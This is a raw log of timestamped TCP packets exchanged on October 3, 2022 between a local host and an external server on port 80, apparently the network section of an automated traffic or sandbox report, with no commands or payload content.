Oct 3, 2022 17:35:25.295080900 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295082092 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295094967 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295123100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295196056 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295218945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295238972 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295244932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295260906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295262098 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295283079 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295285940 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295304060 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295309067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295337915 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295366049 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295409918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295435905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295455933 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295461893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295476913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295488119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295512915 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295528889 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295536995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295559883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295569897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295584917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295592070 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295605898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295609951 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295634985 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295634985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295660019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295660973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295680046 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295684099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295705080 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295717955 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295736074 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295742989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295753956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295768976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295787096 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295795918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295815945 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295841932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295847893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295869112 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295872927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295895100 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295903921 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295919895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.295927048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295948029 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.295965910 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.296185970 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.296240091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.297405958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.297436953 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.297463894 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.297487974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.297492027 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.297513008 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.297516108 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.297537088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.297555923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:25.297555923 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.297579050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.297607899 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:25.977629900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.006815910 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033246040 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033277035 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033307076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033334017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033360004 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033384085 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033406973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033406973 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.033427000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033462048 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.033503056 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.033555984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033579111 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033605099 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033612013 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.033624887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.033642054 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.033670902 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.048324108 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048384905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048418045 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048417091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.048444033 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048470974 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048490047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.048490047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.048496962 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048521996 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.048537016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.048542976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048569918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048573971 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.048593998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048615932 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.048633099 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.048687935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.065670013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.065785885 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.065826893 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.065840960 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.065857887 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.065867901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.065888882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.065896034 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.065910101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.065922976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.065939903 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.065949917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.065963030 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.065975904 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.065994024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066001892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066015959 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066028118 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066046953 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066055059 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066067934 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066080093 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066103935 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066106081 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066121101 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066133976 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066144943 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066159964 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066176891 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066186905 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066199064 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066212893 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066229105 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066239119 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066248894 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066266060 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066276073 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066292048 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066306114 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066320896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066339016 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066348076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066356897 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066375017 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066390991 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066401958 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.066411018 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.066442966 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077544928 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077589989 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077619076 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077651024 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077658892 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077678919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077686071 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077713966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077718019 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077738047 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077749968 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077765942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077773094 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077791929 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077795029 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077817917 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077821016 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077846050 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077848911 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077867985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077874899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077897072 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077900887 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077919006 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077928066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077949047 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077954054 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.077970028 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.077980995 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.078005075 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.078006983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.078022957 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.078033924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.078054905 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.078059912 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.078074932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.078083038 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:26.078105927 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:26.078130007 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.672790051 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.729851961 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.729904890 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.729929924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.729948997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.729969025 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.729995012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.730021954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.730043888 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.730106115 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.730170012 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.730381966 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.730412006 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.730479956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.730520010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.774435997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.774465084 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.774487019 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.774516106 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.774586916 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.774652004 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.776799917 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.776823997 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.776850939 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.776875973 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.776922941 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.776998043 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.778476000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778497934 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778521061 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778547049 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778568983 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778590918 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778594017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.778614998 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778633118 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.778635979 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778661013 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778662920 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.778683901 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778687954 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.778707981 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778733969 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.778740883 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.778795958 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.803694010 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.803766012 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.803842068 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.803879976 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.803910971 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.803921938 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.803952932 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.803963900 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.803975105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.804028034 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.804032087 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.804080009 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.804090023 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.804140091 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.804150105 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.804198980 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.805964947 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.806032896 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.806067944 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.806098938 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.806104898 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.806150913 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.806158066 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.806207895 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.806615114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.806667089 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.806691885 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.806716919 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.806729078 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.806780100 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.806787014 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.806838989 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.807614088 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.807691097 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.807718992 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.807750940 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.807760954 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.807832956 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.807837009 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.807894945 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.807900906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.807955027 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.807960033 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808021069 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808031082 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808077097 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808089018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808146000 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808147907 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808199883 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808228970 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808257103 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808265924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808319092 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808322906 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808374882 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808376074 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808429956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808434010 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808485031 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808485985 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808538914 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808540106 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808593988 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.808593988 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808648109 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808703899 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808757067 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808815956 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808871984 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808924913 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.808980942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.809247017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.809247017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.809247017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.809247017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.809247017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.809247017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.809247017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.809247017 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.833442926 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833489895 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833511114 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833524942 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833545923 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833564043 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833581924 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833599091 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833616018 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833638906 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833657026 CEST	49703	80	192.168.2.7	193.38.55.180
Oct 3, 2022 17:35:28.833661079 CEST	80	49703	193.38.55.180	192.168.2.7
Oct 3, 2022 17:35:28.833678961 CEST	80	49703	193.38.55.180	192.168.2.7
